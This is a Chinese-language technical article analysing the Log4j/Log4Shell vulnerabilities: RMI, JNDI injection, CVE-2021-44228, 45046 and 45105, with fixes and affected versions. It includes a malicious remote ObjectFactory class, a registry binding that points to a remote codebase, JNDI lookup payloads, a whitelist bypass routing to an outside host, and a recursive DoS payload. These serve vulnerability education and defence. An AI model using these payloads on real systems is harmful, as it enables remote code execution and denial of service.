log4j系列漏洞的前世今生
引言
2021年12月9 日,我相信这天对很多程序员来说可能都挺难忘的,毕竟这天可能都加班了😂。
为什么一个 Apache Log4j 的远程代码执行漏洞会弄得像整个互联网都跟破了一个洞似的呢?
从功能上来说,它只是一个日志记录组件,再微小不过的一个基础库。
但是当程序中的大多数都选择了它来记录程序的活动日志之后,事情便开始变得不一样了起来。
用广为流传的一张图来形容的话也许是这样的:
也许你不知道的是,早在这个漏洞爆发的半年前,美国总统就采取行政措施来让其关键基础设施单位出具软件物料清单 (SBOM) 的最小元素了。
美国出台这样的政令是因为当时的 SolarWinds 的安全事件,
那么我们又会因为什么样的安全事件爆发呢?
OK、话只能说到这个程度,我们还是赶紧来看看这个洞吧😂。
漏洞原理
在理解这个漏洞之前,需要有一些 Java 安全的基础。
具体来说就是这么几个东西:
RMI、JNDI、JNDI Reference
0x01. 什么是 RMI ?
-
通俗理解 RMI
RMI
(Remote Method Invocation)是Java中远程方法调用的简称,能够帮助我们查找并执行远程对象的函数方法。通俗地说,远程调用就相当于实现了这样一个功能。假设服务端A上有一个编译好的Java代码,也就是字节码class文件放在服务端机器上,然后在客户端机器B上想要去调用这个class文件中的函数方法,那么为了解决这个问题,Java就实现了一套机制来让大家可以很方便的从一个JVM中去调用另一个JVM中的远程对象的方法,而这样一套远程调用机制实际上也是Java中分布式编程的核心思想。
下面是 RMI 相关的一些概念:
-
RMI 基础概念
-
Stub 和 Skeleton: RMI 中的客户端和服务端实际上并不直接通信。客户端与远程对象之间通过代理的方式来进行 socket通信。故两端分别为远程对象生成了客户端代理和服务端代理,其中位于客户端的代理类简称为Stub即存根(存根中包含了与服务端Skeleton通信的信息)、而位于服务端的代理类则称为Skeleton即骨架。 -
RMI Registry: RMI 注册表,实际上就相当于一个 HashMap、里边保存的是public_name,Stub_object键值对。默认监听在1099端口上,RMI 客户端通过Name向RMI Registry查询从而获取到绑定在这个名字上对应的Stub存根。在Java中主要通过工具类java.rmi.Naming来方便的操作注册和操作。 -
远程对象: 远程对象即存在于 RMI 服务端中以供客户端来调用其方法的对象。任何可以被远程调用的对象都必须实现java.rmi.remote接口,远程对象的实现类必须继承UnicastRemoteObject类。同时这个远程对象中可能有很多个函数,但是只有在远程接口中声明的函数才能被远程调用,其它的公共函数则只能在本地的JVM中使用。 -
RMI 通信交互流程
-
首先是 RMI服务端创建远程对象,此时Skeleton随机监听在一个端口上,以供客户端调用 -
RMI Registry启动,注册远程对象,通过Name和远程对象进行关联绑定,以供客户端进行查询 -
客户端对RMI Registry发起请求,根据提供的Name得到Stub -
Stub中就包含有前边注册的与Skeleton中的远程对象通信的信息(地址、端口等),Stub与Skeleton两者建立通信、Stub作为客户端代理请求服务端代理Skeleton并进行远程方法调用 -
服务端代理 Skeleton调用远程方法,调用结果先返回给Skeleton、Skeleton再返回给客户端代理Stub,Stub再返回给客户端本身,从客户端看来就好像是Stub在本地执行了这个方法一样
-
RMI 参数和返回值的传递方式
RMI 的参数和返回值只允许有两种情况:
一种是在服务器端与客户端之间传送的方法参数或返回值,是远程对象。
另一种则是在服务器端与客户端之间传送的方法参数或返回值是可序列化对象或基本类型数据。那么直接传递的则是该对象的序列化数据,也就是说,接收方得到的是发送方的可序列化对象的复制品。
除这两种外的参数和返回值,在进行远程方法调用时就会抛出
UnmarshalException的异常。
-
当参数和返回值是远程对象时(即对象中实现的是
Remote接口),在上边这个流程中传递给接收方的就是一个存根对象。 -
当参数和返回值是序列化对象或基本数据类型时(即对象中实现的是
Remote接口),在上边这个流程中传递给接收方的则是相关对象的复制品。
-
RMI 动态类加载特性
远程对象一般分布在服务器端,有时也可能是客户端来创建远程对象,也就是前边这个流程图中换成是在 Client 这端创建的远程对象,而这时可能就是服务端去查找客户端注册的远程对象来调用其方法。
当客户端调用远程对象的方法时,如果在客户端中不存在远程对象所依赖的class文件、远程方法的参数和返回值对应的 class 文件,客户端就会从java.rmi.server.codebase 系统属性指定的 URL 位置动态加载该类文件。
同理,当服务器端访问客户端的远程对象时,如果服务器端不存在相关的class文件,服务器端就会从 java.rmi.server.codebase 属性指定的 URL 位置动态加载它们。
此外,当服务器向 RMI Registry 注册远程对象时,RMI Registry 也会从java.rmi.server.codebase 属性指定的 URL 位置动态加载相关的远程接口的类文件。
为什么会有这样的动态加载特性呢?
这是由于 RMI 在实际应用中,一个服务器可能有数十个、数百个或者数千个的客户端,如果在每个客户端上都要保存所有可能会调用的远程对象的类文件的话,就会给软件的升级和维护带来麻烦,因为当一个类被修改后,就必须更新所有客户端的类文件。并且把服务器端的类文件事先放置在所有客户端的本地文件系统中也很不安全。
但是当存在这样的动态加载特性后,随着 Java 的版本更迭,JNDI 开始随着JNDI SPI 扩展开始支持 RMI、LDAP 等服务 ,才导致 log4j 的开发者可能没考虑到这样的扩展性,继而出现 log4shell 这样的核弹级漏洞。
-
RMI 的攻击面
在了解了前面关于 RMI 的一些关键的概念之后,自然地,广大的安全研究人员总结出了这样一些攻击 RMI 的思路:
下面我们来看 JNDI。
0x02. 什么是 JNDI ?
-
理解 JNDI
JNDI
(Java Naming and Directory Interface)全称Java命名和目录访问接口,是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。简单点说,JNDI 就是一组
API接口。每一个对象都有一组唯一的键值绑定,将名字和对象绑定,可以通过名字检索指定的对象,而该对象可能存储在RMI、LDAP、CORBA等等。
实际上 JNDI 这种命名和目录服务接口它解决了一个什么问题呢?就是一个去耦合的问题。
比如说我们的 WEB 应用中用到了数据库,在没有 JNDI 之前我可能需要这样去连接:
public static void main(String[] args) throw ClassNotFoundException, SQLException{String URL = "jdbc:mysql://127.0.0.1:3306/wuya?useUnicode=true&characterEncoding=utf-8";String USER = "root";String PASSWORD = "123456";// 1. 加载驱动程序Class.forName("com.mysql.jdbc.Driver");// 2. 获得数据库连接Connection conn = DriverManager.getConnection(URL, USER, PASSWORD);// 3. 通过数据库的连接操作数据库,以实现增删改查Statement st = conn.createStatement();Result rs = st.executeQuery("select * from users where id = 1");// 4. 处理数据库的返回结果while(rs.next()){System.out.println("name:" + rs.getString("name")+ "\n"+"password:"rs.getString("password"));}// 关闭资源rs.close();st.close();}
但是实际上作为一个程序员,我工作的重点并不是去关心类似下边这些问题:
-
具体的数据库后台是什么? -
JDBC驱动程序是什么? -
JDBC URL格式是什么? -
访问数据库的用户名和口令是什么?
我编写程序应该关注的是单纯的业务逻辑问题,而不是这些配置,资源的连接配置这些问题。
而且假如我的数据库从 mysql 换成 oracle 了,或者我连接的资源这些发生了变动,那么按照前边的代码我可能还得改动很多东西。所以 Java 抽象出了一套这个所谓的 JNDI 命名和目录服务接口。
而这其中的 JNDI SPI 也就是服务提供层就支持这么些服务: DNS、LDAP、CORBA、RMI 等。
所以我们就可以通过 JNDI API 这些接口来通过这个所谓的命名服务 Naming Manager 来达到通过一个名字来查找和访问各种资源的效果。用来定位用户、网络、机器、对象和服务等各种资源。屏蔽掉访问底层资源的细节,隔离实际的数据源或其它资源,来方便业务的维护。
也就是前边的连接数据库这种操作,可能我们用了 JNDI 之后只需要改成这样一行就可以了:
spring.datasource.jndi-name="jdbc/exampleDB"
而这里这个 exampleDB 就是命名服务中的名字 Name,对应的访问数据库这个资源的服务则是 JNDI 就帮我们做了。
-
JNDI 安全角度的理解
当然,前边是从 JNDI 实际的作用来理解的。
而从安全角度来看的话,实际上可以说 JNDI = RMI + Reference。
这也是为什么前边要费这么多篇幅来讲解 RMI 的缘故。
因为实际上, JNDI 的底层实现与 RMI 是类似的,只不过 JNDI 中采取的不是前边说的 RMI 的代理模式这种设计模式,而是类似 RMI 的工厂模式的设计模式:
有了这张图,我们再来理解 JNDI 的使用流程就方便多了。
-
JNDI 使用流程
JNDI 使用流程最重要的就是两步:
-
发布命名服务 bind操作:这里的服务也就是前边提到的JNDI SPI中的各种服务,其实与RMI中的注册远程对象异曲同工。只不过在RMI中只能注册的是远程对象,而这里是将资源和对象跟一个名字绑定起来然后存到一个类似HashMap的数据结构里边存起来。
比如这里假设要 bind 的是一个RMI 服务,这个 RMI 服务中要执行的是弹一个计算机的远程对象,则首先可能将下边这样一个Calc.java 先编译成Calc.class 文件并以 http:// 托管起来:
import java.lang.Runtime;import java.lang.Process;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;public class Calc implements ObjectFactory {{try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/Calc2"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/Calc1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}public Calc() {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/Calc3"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/Calc4"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}return null;}}
然后 JNDI 中执行绑定操作,在这个 JNDI 的服务端,将这样一个服务通过RMI的方式注册并绑定:
public static void main(String[] args) throws Exception {try {Registry registry = LocateRegistry.createRegistry(1099);Reference aa = new Reference("Calc", "Calc", "http://222.222.222.222:8081/");ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);registry.bind("hello", refObjWrapper); // 将托管在 http://222.222.222.222:8081 下的 rmi 服务绑定为 hello 的名字} catch (Exception e) {e.printStackTrace();}}
-
查找命名服务 lookup操作:实际上JNDI中的代码查找对象跟RMI中也是类似的,都是通过什么lookup这样的API来根据名字查找到相关的对象或资源。
而此时 JNDI 客户端,也就是一般的 WEB 应用要使用这个 RMI 的服务时则类如如下代码:
//指定需要查找name名称String jndiName= "jndiName"; //这里 jndiname = rmi://222.222.222.222:1099/hello//初始化默认环境Context context = new InitialContext();//查找该 name 对应的资源context.lookup(jndiName); //通过 hello 来查找 对应的 rmi 服务以便调用
可以发现当要绑定的是一个 RMI 服务时,JNDI 的整体工作流程基本是跟RMI中的差不多的。唯一区别就是 JNDI 一律都通过这个 bind 操作来绑定服务,同时在查找对应的服务时则是需要先 InitialContext 再 lookup 查找加载相关资源。当要绑定的是其它的目录服务的时候,例如 LDAP 之类的,实际上也是一样的需要执行这样一个 bind 操作,然后再 lookup 查找调用的流程。
那么回想一下前边说的 JNDI = RMI + Reference, 这个 Reference 又是什么意思呢?
-
JNDI 动态地址转换与 JNDI Naming Reference
JNDI Naming Reference (JNDI 命名引用)
实际上这就是一个实现类似
RMI中动态类加载特性的一个工具类。在 JNDI 服务中,RMI 服务端除了直接绑定远程对象之外(JAVA 序列化传输对象到远程服务器),还可以通过命名引用的方式通过绑定,由命名管理器进行解析的一个引用。引用由
References类来绑定一个外部的远程对象(当前名称目录系统之外的对象),绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存,当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。
//指定需要查找name名称String jndiName= "jndiName"; //这里 jndiname = rmi://222.222.222.222:1099/hello//初始化默认环境Context context = new InitialContext();//查找该 name 对应的资源context.lookup(jndiName); //通过 hello 来查找 对应的 rmi 服务以便调用
比如以我们前边执行 lookup 操作的代码来说,就是当我们调用 lookup() 方法时,正常而言的话,lookup 方法的参数应该是一个命名服务中的这个 Name,也就是前边绑定的那个 Calc.class 的 RMI 服务应该是这样被调用的:
context.lookup(hello);
context.lookup("rmi://222.222.222.222:1099/hello")
那么客户端也会自己根据对应的协议来将这个 url 解释成一个 RMI 服务,并根据前边 JNDI 服务端提供的RMI-Registry 中的urlhttp://222.222.222.222:8081 处去尝试加载。
了解这两点 JNDI 的特性之后我们才能谈所谓的 JNDI 注入。
0x03. 什么是 JNDI 注入?
实际上
JNDI注入应该叫作Java Naming Reference注入。
具体的过程如下:
当有客户端通过 lookup("refObj") 获取远程对象时,如果获取到的是一个Reference 存根 Stub, 由于是 Reference 的存根,所以客户端会先在本地的 classpath 中去检查是否存在类 refClassName, 如果也不存在才会去指定的 url 中动态加载。
这也是为什么前边想执行远程加载然后弹一个计算器的这个恶意 class 文件中需要实现 ObjectFactory:
以及在绑定时需要绑定为 Reference 类并通过其相关 API 封装的原因:
理解了这两点之后,自然地,一个常见的类似下图这样的'JNDI' 注入攻击流程也就不难理解了:
最后,JNDI 注入攻击有几个注意事项:
-
JNDI的客户端(也就是 Java web 应用服务端) 使用了lookup且lookup的参数动态可控 -
在 JNDI客户端访问到对应的JNDI SPI服务时不存在该对象,所以才会远程加载 -
JNDI注入利用的几种方式(JNDI+RMI/JNDI+LDAP...)与JDK版本有关 -
JNDI注入与一些配置有关:比如说是否允许远程加载类这个配置
理解了 JNDI 注入攻击的原理之后,下面我们来看 Log4shell 这个洞以及后续相关的漏洞发展历程。
CVE-2021-44228
0x01. 漏洞成因
-
log4j2中任意的logger.error()、logger.info()等looger系的记录日志的API在将数据记录到日志中时,将${开头的字符作为是否传递到JNDI中的lookup()函数中去的标识符。org.apache.logging.log4j.core.pattern.MessagePatternConverter#format同时在后续对相关参数的处理中也没有进行任何的白名单校验或黑名单过滤,这就导致
lookup(Name)中的这个Name完全可控,达成前边讲到的JNDI注入攻击的条件: -
log4j2中默认是开启这样的JNDI-lookup功能的,也就是不管什么级别的记录日志的操作它都会去判断是否存在lookup的标识符${, 实际上这一点是一个不当的功能设计,既浪费程序资源,也是导致这个漏洞这么严重的原因之一。 -
log4j2中处理日志时是按照:分隔,递归解析日志中的每个${开头的日志的,也就是说假如需要记录的日志是类似${rmiUrl1}:${rmiUr2}:${rmiUr3}:.......这样的数据时,它就会先将第一个${rmiUrl1}提出来执行一次lookup、然后又将第二个${rmiUrl2}提出来执行一次lookup,不断递归调用直到处理完要记录的数据中的${开头的字符。
StrSubstitutor.subtute 方法递归处理日志输入,转为对应的输出:
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,ListpriorVariables) { ...substitute(event, bufName, 0, bufName.length());...String varValue = resolveVariable(event, varName, buf, startPos, endPos);...int change = substitute(event, buf, startPos, varLen, priorVariables);}
当然,一句话总结的话,这其实就是个简单的 JNDI 注入,只不过 payload 前边要加个 ${ 而已。
0x02. 修复方式
2.15.0-RC1 版本修复方式
这个版本的修复可以说差不多是当天刚出来就被绕过了,官方主要做了这么几点来修复漏洞:
-
通过更改原来的处理日志记录数据的
MessagePatternConverter改成了一个新的类MessagePatternConverter.SimplePatternConverter, 同时里边将原来的那种判断${然后去调用lookup的操作变成了拼接字符的操作,这样就导致默认情况是不会处理${这种情况。private static final class SimpleMessagePatternConverter extends MessagePatternConverter {private static final MessagePatternConverter INSTANCE = new SimpleMessagePatternConverter();public void format(final LogEvent event, final StringBuilder toAppendTo) {Message msg = event.getMessage();// 直接拼接字符串if (msg instanceof StringBuilderFormattable) {((StringBuilderFormattable) msg).formatTo(toAppendTo);} else if (msg != null) {toAppendTo.append(msg.getFormattedMessage());}}}但是又保留了一个子类叫
LookupMessagePatternConverter,而如果Converter被设置成这个类的话就还是会继续执行${相关的那一套操作:private static final class LookupMessagePatternConverter extends MessagePatternConverter {private final MessagePatternConverter delegate;private final Configuration config;LookupMessagePatternConverter(final MessagePatternConverter delegate, final Configuration config) {this.delegate = delegate;this.config = config;}public void format(final LogEvent event, final StringBuilder toAppendTo) {int start = toAppendTo.length();delegate.format(event, toAppendTo);// 判断${}int indexOfSubstitution = toAppendTo.indexOf("${", start);if (indexOfSubstitution >= 0) {config.getStrSubstitutor()// 进入了上文的流程.replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution);}}}而将这个
converter类设置成什么子类则取决于用户的配置:private static final String LOOKUPS = "lookups";private static final String NOLOOKUPS = "nolookups";public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {boolean lookups = loadLookups(options);String[] formats = withoutLookupOptions(options);TextRenderer textRenderer = loadMessageRenderer(formats);// 默认不配置lookup功能MessagePatternConverter result = formats == null || formats.length == 0? SimpleMessagePatternConverter.INSTANCE: new FormattedMessagePatternConverter(formats);if (lookups && config != null) {// 只有用户进行配置才会触发result = new LookupMessagePatternConverter(result, config);}if (textRenderer != null) {result = new RenderingPatternConverter(result, textRenderer);}return result;} -
在调用
lookup操作前的JndiManager.lookup这里加了一些白名单,让传入的Host只能是localhost, 同时不允许Reference类加载,并设置了类名白名单只能是八大基本数据类型,即禁止了ObjectFactory类,以及协议白名单java、ldap、ldaps以此来阻止JNDI注入加载远程对象。public synchronizedT lookup(final String name) throws NamingException { try {URI uri = new URI(name);if (uri.getScheme() != null) {// 允许的协议白名单if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());return null;}if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {// 允许的host白名单if (!allowedHosts.contains(uri.getHost())) {LOGGER.warn("Attempt to access ldap server not in allowed list");return null;}Attributes attributes = this.context.getAttributes(name);if (attributes != null) {MapattributeMap = new HashMap<>(); NamingEnumeration enumeration = attributes.getAll();while (enumeration.hasMore()) {Attribute attribute = enumeration.next();attributeMap.put(attribute.getID(), attribute);}Attribute classNameAttr = attributeMap.get(CLASS_NAME);// 所以不会进入类白名单判断if (attributeMap.get(SERIALIZED_DATA) != null) {if (classNameAttr != null) {// 类名白名单String className = classNameAttr.get().toString();if (!allowedClasses.contains(className)) {LOGGER.warn("Deserialization of {} is not allowed", className);return null;}} else {LOGGER.warn("No class name provided for {}", name);return null;}} else if (attributeMap.get(REFERENCE_ADDRESS) != null|| attributeMap.get(OBJECT_FACTORY) != null) {// 不允许REFERENCE这种加载对象的方式LOGGER.warn("Referenceable class is not allowed for {}", name);return null;}}}}} catch (URISyntaxException ex) {// This is OK.}return (T) this.context.lookup(name);}
2.15.0-RC1 版本绕过方式
一般来说,按照前边那样一套 白名单 + 修复默认配置 的修复操作,应该是没啥大问题了的。
但是最后的这个 jndiManager.lookup 中的这个白名单因为一个小问题导致了白名单被绕过:
public synchronizedT lookup(final String name) throws NamingException { try {URI uri = new URI(name);...} catch (URISyntaxException ex) { // 这里捕获了 new URI(name) 时的异常但是没有进行任何的处理// This is OK.}return (T) this.context.lookup(name);}
由于这里捕获了异常但是没有进行任何的处理或者 return 操作,导致只要在new URI(name) 时一旦发生异常,就可以直接将程序逻辑跳到最后的 return (T) this.context.lookup(name), 从而让这里省略号里一堆的白名单判断形同虚设。
那么什么样的 jndiName ,能使得 new URI(jndiName) 发生异常,但是执行context.lookup(jndiName) 又能正常执行呢?
由于 lookup 操作与 new URI 操作存在解析差异,所以在 payload 中加入一个空格就能够满足我们的条件,这也是为什么在 github 上最开始公布的 poc 仓库中看到的 payload 是这样的:
${jndi:ldap://127.0.0.1:1389/ badClassName}
2.15.0-RC2 版本修复方式
所以官方立即出了 RC2 修复版本也就是 2.15.0 稳定版:
try{} catch (URISyntaxException ex) {LOGGER.warn("Invalid JNDI URI - {}", name);return null;}return (T) this.context.lookup(name);
在异常里直接 return、有效解决了前边所说的绕过。
0x03. 影响范围
RCE 2.0 < Apache log4j2 <= 2.14.1
开发人员开启 lookup配置情况下可 RCE 2.14.1 < Apache log4j2 < 2.15.0-RC2
供应链影响范围,由于涉及组件过多,较难统计,所以这里建议可以直接通过一些在线网站进行查询:
https://log4j2.huoxian.cn/layout
CVE-2021-45046
0x01. 漏洞成因
新的攻击场景从而 DDos
在前边分析最开始的 CVE-2021-44228 时,我们说过漏洞成因里边有一个原因在于递归解析并执行 JNDI Lookup 操作。
而 JNDI lookup 操作本质上来说也是网络请求,即使当官方发布了 2.15.0-RC2 版本之后,它的 Host 白名单生效了,但是 localhost 也一定在白名单中。
而直到官方发布 2.15.1-RC1 即 2.15.0 正式版时,如果开启了 lookup 配置的情况下这样的递归解析操作还是存在,就还是可能被 DDos。这也许是Apache官方会又分配了一个 CVE 编号 CVE-2021-45046 的 第一个原因。
不过这样一个 DDos 比较有趣的地方在于不是发生在前边被官方修复过默认记录日志消息的 lookup 调用中。因为在默认记录的处理流程中,存在异常捕获。所以最常见的调用记录日志的 API 中是并不会触发 DDos 的。
那么这又是如何引起 DDos 的呢?
关键就在于在 Log4j2 中,在配置日志格式的时候,可以通过需要配置变量来打印日志时间、打印线程上下文等。
而且这样的对配置文件或者线程上下文也支持对其配置内容进行 lookup 操作,同时与前边提到的默认记录日志消息的 lookup 操作完全是两个分支。
比如说前边调用情况最普遍的是处理日志消息的 MessageConverter 这个类,而这里记录线程上下文的则是 LiteralPatternConverter 这个类,并且其中也开启了 lookup 功能:
而类似这样记录线程上下文的这种 ctx 的记录方式通常情况下确实是开发人员普遍可能会存在的一种写法,比如说将用户登录 ID 记录到线程上下文中:
public String test(String userId) {try {String id = new String(Base64.getDecoder().decode(userId));// 记录用户登录IDThreadContext.put("loginId", id);// 记录该用户已登录logger.info("user login");// 其他业务逻辑// ...} catch (Exception e) {return e.getMessage();}return "";}
同时如果用户登录 ID 参数被攻击者抓包篡改为类似这样的 payload:
${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}
这就确实存在导致 DDos 的利用场景。所以这可能是 Apache 给这个 DDos 漏洞分配 CVE 编号的 第二个原因。
不过尽管如此,这个漏洞还是需要至少两个条件才能构成 DDos:
-
程序员采取的 ThreadContext的这种方式来记录用户传入的数据 -
程序员在日志记录中配置为会调用 lookup
所以最初该漏洞只给了 3.0 的漏洞评分,总的来说,还是个鸡肋 DDos。
绕过所有白名单修复 RCE
在 CVE-2021-45046 这个 DDos 漏洞公布后不久。突然 Apache 官方又将这个漏洞升级为 RCE 漏洞了,并将该漏洞评分升级为 9.0。
这又是什么原因呢?
回顾前边 Apache 官方对 CVE-2021-44228 中关键核心方法jndiManager.lookup的修复:
-
allowedProtocols:只允许协议java、ldap、ldaps -
allowedHosts:只允许主机为本机 IP127.0.0.1、localhost等 -
allowedClasses:LDAP 服务器的返回包中javaClassName只允许为基本数据类型的类,比如java.lang.Boolean、java.lang.Byte、java.lang.Short等等。(其实这个限制意义不大,后面会说) -
不能加载远程 ObjectFactory类
同时 2.15.0 正式版中,已经无法通过设置log42.formatMsgNoLookups为 false 来开启 lookup 功能了。只能通过在配置文件中指定类似%m{lookups}来开启:
这个修复方式通过前边分析 DDos 应该不难理解还是可能存在利用场景,所以这一个修复可以先忽略。
那么关键就是怎么绕过 jndiManager.lookup 方法中白名单的问题了。
首先协议白名单里边 ldap 还能用,所以不打紧。
另外就是 allowedClasses 设了只允许为基本数据类型的类,以及不能加载远程 ObjectFactory 类。
这两点实际上也不打紧,已经有成熟的绕过技术了,利用 JNDI 注入绕过高版本 JDK 限制的这种方法即可。
可以参考:
https://paper.seebug.org/942/
绕过 objectFactory 这个限制远程加载,主要采取的方法就是在目标环境找存在可被利用的 Java 反序列化 Gadget 构造反序列化链。
而至于这个 allowedClasses ,这个属性的值是从 LDAP 服务器返回的数据里取的,而且这个属性的值对于后续的漏洞利用毫无影响,只要修改一下 LDAP 服务端的代码,将该值的属性改为满足 log4j2 中要求的值即可。
所以实际上最关键的就一点,如何绕过 localhost 的限制。
这就不得不提到台湾黑客 Orange 在 2017 年的 BlackHat 大会上提到的一个攻击技术了: Abusing URL Parsers
可以参考:
# A New Era of SSRF - Exploiting URL Parser in Trending Programming Languageshttps://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf# exploiting-url-parsing-confusionhttps://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/
这个技术核心的思想就是在不同语言或者不同中间件等其中的 URL 解析器对于 URL 的处理方式可能存在差异。
比如说在 Java 中就存在这样的情况:
URI uri1 = new URI("ldap://127.0.0.1#@jndi.fkbug.com:1389/badClassName");System.out.println(uri1.getHost());URI uri2 = new URI("ldap://127.0.0.1#jndi.fkbug.com:1389/badClassName");System.out.println(uri2.getHost());URI uri3 = new URI("ldap://127.0.0.1#jndi.fkbug.com:1389/badClassName");System.out.println(uri3.getHost());// 全部都会打印:127.0.0.1
当这里的这个 fkbug.com 的子域名 jndi.fkbug.com 或者 xxx.fkbug.com 等都开启了泛域名解析时,让这些子域名都解析到同一个 IP 上,那么在Java 中,Java 的 URL 解析器会将 127.0.0.1# 当成是一个域名,而在进行 LDAP 访问时去访问真正攻击者的 IP: jndi.fkbug.com,而在通过 url.getHost() 进行白名单校验时则会当成 127.0.0.1 来验证从而绕过 localhost 这样一个白名单。
当然,尽管这些绕过方式思路、技巧都很厉害,但是要总结的话,这也是个鸡肋 RCE。
0x02. 修复方式
所以官方又出了后续的 Apache log4j2 2.16.0 版本。
这一版本修复方式可以说极其粗暴了:
-
默认关闭了
JNDI、同时官方直接建议大家不要开JNDI了: -
在
MessagePatternConverter中直接将消息的lookup功能给移除了:
0x03. 影响范围
DDos 2.0 <= Apache log4j2 < 2.16.0
-
将用户可控参数通过线程上下文的方式来调用的日志记录中 -
同时记录日志的配置配置为类似 %m{lookups}的形式来主动开启lookup功能
RCE 2.0 <= Apache log4j2 < 2.16.0
-
将用户可控参数通过线程上下文的方式来调用的日志记录中 -
同时记录日志的配置配置为类似 %m{lookups}的形式来主动开启lookup功能 -
攻击者可以在目标环境中构造出反序列化链、同时可能还只能在一些 Linux的发行版及Mac的服务器下才行
CVE-2021-45105
0x01. 漏洞成因
从 Apache log4j2 2.16.0 的修复我们知道, JNDI lookup 基本上是不可能执行网络操作了。
所以关于这个 Dos 漏洞其实还是利用的最开始我们分析 CVE-2021-44228 中所说的递归解析这个问题。
首先这个漏洞也是需要走前边说过的线程上下文这个记录分支,即当PatternLayout 使用 $${ctx:xxx} 从 context 上下文获取用户输入的时候才能进行利用,也就是也得是非默认配置才行。
配置文件需要是这样的:
<?xml version="1.0" encoding="UTF-8"?><Configuration status="WARN"><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%d %p %c{1.} [%t] $${ctx:loginId} %m%n"/></Console></Appenders><Loggers><Root level="error"><AppenderRef ref="Console"/></Root></Loggers></Configuration>
关键就是这里的这个 $${ctx:loginId}。
当传入的参数为类似这样的参数时,首先会进入到前边所说的递归解析的 StrSubstitutor.subtute 这个函数里边处理。
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,ListpriorVariables) { ...substitute(event, bufName, 0, bufName.length());...String varValue = resolveVariable(event, varName, buf, startPos, endPos);...int change = substitute(event, buf, startPos, varLen, priorVariables); // 这里递归进行解析}
StrSubstitutor 类主要进行字符的替换。而 StrLookup 类负责在线程上下文中进行查找。
当配置文件设置为 ${ctx:loginId} 这种形式时。
-
${ctx:loginId}传入到StrSubstitutor类中,然后这个类会在线程上下文中持续的查找这里冒号后面的这个值,也就是loginId这个变量在线程上下文中的值 -
然后
StrSubstitutor这个类在线程上下文中找到loginId对应的值了,也就是传入的${ctx:loginId},然后它会把logind在线程上下文中的值替换成刚刚找到的值${ctx:loginId},也就是又替换成了我们原来传入的${ctx:loginId} -
然后,线程上下文中的字符串相当于就没变,还是
${ctx:loginId},所以StrSubstitutor又去查找线程上下文中的这个loginId变量,开始无限循环
如果只是这样的话, 本来也是还有 StrSubstitutor 类里边的checkCyclicSubstitution 方法的检测的。检测到存在这样的递归后就会抛出 java.lang.illegalStateException 的异常。
但是后边有人发现可以通过 lookup 函数中的另一个功能可以绕过这个checkCyclicSubstitution 方法中的检测来造成无线循环。最终导致java.lang.StackOverflowError 也就是栈溢出,能直接让 log4j2 日志程序崩溃。
而这个绕过的关键就在于 Lookup 函数的默认值。
Lookup 虽然在前边已经删除掉相关的 JNDI 解析的功能了。没办法进行 JNDI 注入了,但是 lookup 默认还支持这样的格式:
${lookupName:key:-defaultValue}
也就是可以给 lookup 设定默认值。
这里这个 lookupName 就是要执行的查找名称或者类型,比如说这里设置为 ctx、env 就是从线程上下文或者环境变量中查找。
然后这个 defaultValue 本来是一个可选值,而当设置了这个默认值时,在 Substitutor 类中处理时如果通过前边的这个 lookupName 在线程上下文中没找到这个键的话,它就会尝试把这个默认值当成键来查找。
所以假如把前边那个 payload 改一下的话就是下面这个样子:
${ctx:loginId1}:-${ctx:loginId}}
然后:
-
Substitutor这个类就会在线程上下文中找loginId对应的值,第一次这个值是${ctx:loginId1}:-${ctx:loginId}} -
然后会经过 lookup中查找jndiName这种方式,但是由于jndiName中并没有这个loginId1这个命名服务了,所以它就会按照默认值${ctx:loginId)来进行查找。也就是又去查找这个loginId, 那就又回到第一步了,但是通过这种方式就绕过了checkCyclicSubstitution这个函数的校验达成真正的无线递归,最终不断的分配内存,造成栈溢出
关键代码:
这里 checkCyclicSubstitution 中的检测递归的条件就是,当 varName 在这个 priorVariables 里边就会继续执行递归解析的操作。
payload
${${::-${::-$${::-j}}}}
0x02. 修复方式
Apache log4 2.17.0 版本中进行修复。
修复方式也比较简单,即直接不允许递归解析。
原来解析 ${} 都是直接用的 StrSubstitutor 这个类,然后新版中给所有日志规则中的解析直接加了一个 StrSubstitutor 的子类 RuntimeStrSubstitutor 的处理:
在里边配置再添加一个校验:
0x03. 影响范围
DDos 2.0 <= Apache log4j2 < 2.17.0
-
将用户可控参数通过线程上下文的方式来调用的日志记录中 -
同时线程上下文中要记录的数据用户可控
关于 log4Shell 在 log4j2 中的漏洞就暂时告一段落。
下面我们来看这类攻击方式在 log4j1 中的情况。
CVE-2021-4104 及 CVE-2021-44832
CVE-2021-4104 与前边的不同,是 log4j 1.x 中的配置文件 RCE。
